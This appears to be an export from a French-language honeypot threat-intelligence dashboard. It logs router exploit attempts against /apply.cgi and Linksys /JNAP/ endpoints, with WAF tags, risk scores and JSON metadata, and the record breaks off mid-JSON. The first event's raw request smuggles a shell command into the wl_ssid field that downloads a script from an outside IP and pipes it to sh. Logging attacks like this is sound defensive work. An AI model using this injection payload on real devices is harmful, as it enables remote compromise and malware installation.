TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
LFI Double-dot bypass
Ligne de requête
POST /apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Connectio
Requête brute (extrait)
POST /apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 243 Connection: close wl_ssid=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lwizard%3Bbusybox%20wget%20http://91.92.40.
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "31402cc48ac7ac052e1d50fc94349665a12c2c45",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 383,
"payload_entropy": 5.293361928821448,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "c186ca3e9dfdafa67dbbd33512e88419b126c737",
"event_fingerprint": "776ffb2a7499e20a6aef854f832a2ad0b7b0ea31",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "dfe6d287e9ef40339d0c765a1b2ccef8",
"path_pattern_hash": "b3e1dfd605a877958cebee595444f5d1"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnectio",
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnection: close\r\n\r\nwl_ssid=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lwizard%3Bbusybox%20wget%20http:\/\/91.92.40.",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnectio",
"evidence": {
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnection: close\r\n\r\nwl_ssid=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lwizard%3Bbusybox%20wget%20http:\/\/91.92.40.",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnectio",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9c9e9e56ccd5dba0c5a06f0283516c22cd852480",
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnectio",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 243\r\nConnectio",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:06 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /JNAP/
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /JNAP/
Émulateur
HTTP
WAF
66
Recommandation
Investiguer
Tags
950311:lfi-12
950326:rce-0
950327:rce-0
950335:rce-2
Cible HTTP
POST
/JNAP/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/JNAP/
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /JNAP/ HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /JNAP/ HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json; charset=utf-8
X-JNAP-Action: http://linksys.com/jn
Requête brute (extrait)
POST /JNAP/ HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json; charset=utf-8 X-JNAP-Action: http://linksys.com/jnap/setup/SetupWizard Content-Length: 236 Connection: close {"JNAP":{"action":"http://linksys.com/jnap/setup/SetupWizard","c
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "1590bac5c7d7e8540ab87881f47e89fa381ce665",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 428,
"payload_entropy": 5.369572556594604,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "97f386438e263d9390fa75ffbd16dd75cf5514fd",
"event_fingerprint": "fa4fb497c394ece581353e50ea95b8971050cbe3",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c2716e8dede0b691e656a8075e706620",
"path_pattern_hash": "09d793525e81db3cecc4e36c738b6310"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/setup\/SetupWizard\r\nContent-Length: 236\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/setup\/SetupWizard\",\"c",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"evidence": {
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/setup\/SetupWizard\r\nContent-Length: 236\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/setup\/SetupWizard\",\"c",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2c8366f2e7ed770459ccd215473c6bbf5e7de0c1",
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 10 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:06 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /JNAP/
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /JNAP/
Émulateur
HTTP
WAF
72
Recommandation
Investiguer
Tags
950311:lfi-12
950326:rce-0
950327:rce-0
950335:rce-2
Cible HTTP
POST
/JNAP/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/JNAP/
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /JNAP/ HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-2
ssrf-3
nosqli-3
Payload (extrait)
POST /JNAP/ HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json; charset=utf-8
X-JNAP-Action: http://linksys.com/jn
Requête brute (extrait)
POST /JNAP/ HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json; charset=utf-8 X-JNAP-Action: http://linksys.com/jnap/network/Diagnostics Content-Length: 269 Connection: close {"JNAP":{"action":"http://linksys.com/jnap/network/Diagnostics
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "1590bac5c7d7e8540ab87881f47e89fa381ce665",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 463,
"payload_entropy": 5.3493461412064915,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 16,
"anomaly_count": 0,
"campaign_key": "c9ad90777b07e1dcbdd21c15b9df99fd80552daf",
"event_fingerprint": "fa4fb497c394ece581353e50ea95b8971050cbe3",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "ee6d5d6eb52a4eec71607d1f2557595d",
"path_pattern_hash": "09d793525e81db3cecc4e36c738b6310"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/network\/Diagnostics\r\nContent-Length: 269\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/network\/Diagnostics",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"evidence": {
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/network\/Diagnostics\r\nContent-Length: 269\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/network\/Diagnostics",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "21d62d4181c48365552b5c6e77fbad5ab0a5eecd",
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
